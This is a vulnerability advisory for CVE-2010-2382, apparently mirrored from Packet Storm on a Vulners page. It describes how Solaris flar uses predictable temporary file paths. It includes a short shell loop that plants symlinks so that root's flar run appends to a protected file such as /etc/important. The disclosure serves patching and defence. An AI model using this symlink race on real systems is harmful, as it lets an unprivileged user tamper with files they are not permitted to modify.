Lucene search
K

Solaris Flar Unsafe Use Of Temporary Files

🗓️ 21 Jul 2010 00:00:00Reported by Frank StuartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Solaris Flar Unsafe Use Of Temporary Files CVE-2010-2382, Sun/Oracle July 2010 Critical Patc

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-2382
12 Jul 201000:00
circl
CVE
CVE-2010-2382
13 Jul 201022:07
cve
Cvelist
CVE-2010-2382
13 Jul 201022:07
cvelist
EUVD
EUVD-2010-2392
7 Oct 202500:30
euvd
NVD
CVE-2010-2382
13 Jul 201022:30
nvd
Oracle
Oracle Critical Patch Update Advisory - July 2010
13 Jul 201000:00
oracle
Oracle
Security | Oracle Critical Patch Update - July 2010
13 Jul 201000:00
oracle
Packet Storm
Solaris nfslogd Unsafe Use Of Temporary Files
21 Jul 201000:00
packetstorm
Prion
Design/Logic Flaw
13 Jul 201022:30
prion
securityvulns
Oracle Critical Patch Update Advisory - July 2010
15 Jul 201000:00
securityvulns
Rows per page
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Below is the full disclosure information for CVE-2010-2382. It was  
reported to [email protected] on 23 December, 2009 and assigned Sun  
bug 6912851.  
  
This vulnerability was addressed by Sun/Oracle in the July 2010 Critical  
Patch Update  
(http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html).  
  
- ------  
  
flar appears to use several hard-coded temporary paths with the process  
id appended such as these (possibly more--I didn't do an exhaustive search):  
  
/tmp/.flash_filter_one_.11534  
/tmp/.flash_filter_two_.11534  
/tmp/.flarcreate.hash.11534  
  
As an unprivileged user, I was able to pre-create symlinks (for every  
likely pid) to a file I didn't have write permission to like this:  
  
$ x=0  
$ while [ "$x" -le 30000 ];do  
> ln -s /etc/important /tmp/.flash_filter_one_.$x  
> x=$(expr "$x" + 1)  
> done  
  
Later, when root creates a flash archive with:  
  
# flar create -n junk `pwd`/junk.flar  
  
/etc/important is appended to.  
  
  
- ------  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.3 (MingW32)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/  
  
iQEVAwUBTEUJoWKGA6cQSpZSAQInYAf/W9LWENhsVqmyItxRdr5brhXMoFmxfLe2  
jeN8KHJQMlUofI4GImVKO7078dE2CKht7lERpx2F6euXazDy1nG6QenBeSsRo8Ga  
4fqhRlKswL+yb092pVZWIuLgNd5S2aqscoFG1q9cvWeF4qXuqyxQCraoA6HumfLc  
WLMy3bcHsCkTS3+vT4axLO6PaoQbe1d0U0i8RPgc9s7cx4gHO04bQ/bmJnLocdKG  
8aUkeQKZpc2Uws5F8goGfC3RfR9WxQMcZMzLfyM3FhxhCPxOtS0YdNPGOwGCYUTr  
GeRQJemYYWxlK/SLMR/1tKYFa9JHbH+Nep+DVhzcHN7+HFr2kDOQiw==  
=gcPO  
-----END PGP SIGNATURE-----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2010 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.00186
39